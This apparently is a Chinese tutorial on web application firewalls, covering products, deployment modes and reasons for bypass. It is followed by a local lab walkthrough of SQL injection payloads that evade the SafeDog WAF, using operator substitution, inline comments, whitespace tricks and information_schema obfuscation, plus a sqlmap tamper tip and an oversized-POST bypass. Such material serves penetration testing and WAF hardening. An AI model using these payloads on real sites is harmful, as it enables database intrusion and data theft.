从来不需要想起,永远也不会忘记。
攻击的特定:
攻击二象性:已知攻击和未知攻击
目前市面主流的WAF产品:
云WAF
- 阿里云盾
- 腾讯网站管家
- 创宇盾
- ClodeFlare等
软件产品类
- 安全狗
- 云锁
- 360主机卫士
- ModSecurity
硬件类型设备:
启明星辰
绿盟
天融信
飞塔等
硬件waf缺陷:对HTTP协议的兼容性不强,对异常报文会产生bug,导致绕过
WAF的核心原理:
运用黑白思想
特征匹配,漏洞签名:特定特征的漏洞,比如stract2漏洞
对匹配结果进行响应(拦截,记录)
WAF的几种部署模式
基于DNS解析
修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的web服务器
串联模式
一般指的是反向代理模式,透明代理模式.反向代理模式会改变原有的网络拓扑,真实客户端ip会以HTTP header传递给后端web server.透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署.
旁路模式
利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务稳定性,所以WAF会投入更多的性能在检出率上面.但是缺点也很明显,不借助其他手段无法对检测出的攻击行为进行阻断.
软件嵌入中间件+检测引擎模式
在使用nginx作为反向代理的业务中,WAF提高nginx模块嵌入原有nginx,将请求转发给检测引擎,可以做到在不改动原有的网络拓扑的情况下完成检测任务
WAF为什么会被绕过:
1.鱼(安全)和熊掌(业务性能)不能兼得,waf需要满足基本业务需求,所以一般不设置白名单之类的过于苛刻的操作
2.WAF为了考虑通用性的问题,无法100%覆盖某些语言,中间件,数据库等特性
3.硬件WAF自身往往存在漏洞
架构:waf部署模式
规则缺陷/特性
协议:指HTTP0.9协议:TCP长连接
WAF绕过实战—-绕过安全狗进行注入
所谓的bypass waf实际上是去寻找位于waf设备之后处理应用层数据包的硬件/软件的特性,利用特性构造waf不能命中,但是在应用程序能够执行成功的payload,绕过防护
实验环境:
环境:安全狗Apache最新版(http://download.safedog.cn/download/software/safedogwzApache.exe)+phpstudy+windows系统
本地测试代码:
1 | <?php |
绕过拦截and 1=1
首先先稍微测试一番,发现存在安全狗
1 | http://127.0.0.1/test.php?id=1 and 1=1%23 |
1 | and 1 拦截 |
通过测试我们发现当 and 后面跟上 数字型和字符型时他会给我们拦截掉 ,其实我们在安全狗的规则里面可以看到他拦截 and 和 or 所以我们有2个思路
- 用其他字符替换 and 或者 or
- 带入的不是字符串和数字型,带入一个特殊符号
针对第一种我们可以去看看运算符号 随便找到几个| ^ xor & / * && || 等等还有很多
1 | 与运算 a & b , |
那么可以试着将and替换成&&,URL编码得到%26%26,将1=1替换成true或者false,发现可以成功绕过
1 | http://127.0.0.1/test.php?id=1' %26%26 true%23 |
另外在分享一些可以绕过目前版本的安全狗测试payload,(注:mysql支持&& || ,oracle不支持 && ||)
1 | http://127.0.0.1/test.php?id=1' || true%23 //将and 1=1替换为|| true,也可以绕过安全狗 |
绕过order by查询
判断查询字段,使用mysql的/*!*/
内敛注释去绕过防护,而其中的代码是可以正常执行的
1 | http://127.0.0.1/test.php?id=1' /*!order*//*!by*/2%23 |
绕过union select查询
使用union xxx页面正常,
但是用union和select放在在一起就被发现啦
在网上找了好一阵子,发现有大佬提供的payload使用正则表达式去绕过
1 | http://127.0.0.1/test.php?id=1'=/*!user () regexp 0x5e72*/--+ |
- 对于数字型注入,可以将其转换成浮点型
- 联合查询绕waf,%0a为换行符经过URL编码得到的,可以通过换行符进行绕过,
- 函数中可以插入任何混淆字符绕过waf
- 另外使用-1可以省去空格绕过waf
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,user--%0a()%23 |
基于报错信息的注入绕安全狗
1 | http://127.0.0.1/test.php?id=1' and /*!12345updatexml!*/(1,concat(0x7e,version()))%23 |
绕过select from
使用大括号去绕过
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4From{information_schema.tables} |
使用反引号去绕过
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4 From`information_schema.tables` |
使用\N去绕过
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,\Nfrom information_schema.tables |
括号法去绕过
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,From(((information_schema.tables))) |
也可以组合起来
1 | http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4\Nfrom{a`information_schema`.tables} |
这些都是去掉空格的合法语句,当然如果不拦截/*/或/!*/的话,也可以尝试这两个
提示,安全狗默认不开启对information_schema的拦截,如果开启了,那么就得找支持post传递数据的注入点了,post下不拦截information_schema这个关键词。
补充点
php+mysql环境下支持的空格有:
1 | %0a,%0b,%0c,%0d,%20,%09,%a0,/**/ |
其中使用的最多的就是%0a,%0b,%a0,/**/,这四个当作空格插入在语句中来扰乱waf检测。
干货分享:使用/^!$asd%2a–=/代替空格即可,找到sqlmap中tamper目录下的space2plus.py文件,将其中代替空格的/*/换成/^!$asd%2a–=*/即可使用sqlmap跑了。
缓冲区溢出绕waf
另外也可以对安全狗实行缓冲区溢出绕waf
缓冲区溢出用于对WAF,有不少WAF是C写的,而C语言本身没有缓冲区保护机制,因此如果WAF在处理测试量时超出其缓冲区长度,就会引发bug从而实现绕过
要求是(针对于安全狗而已):
GET类型请求转换成POST类型
Content-Length头长度大于4008
正常参数放置在脏数据后面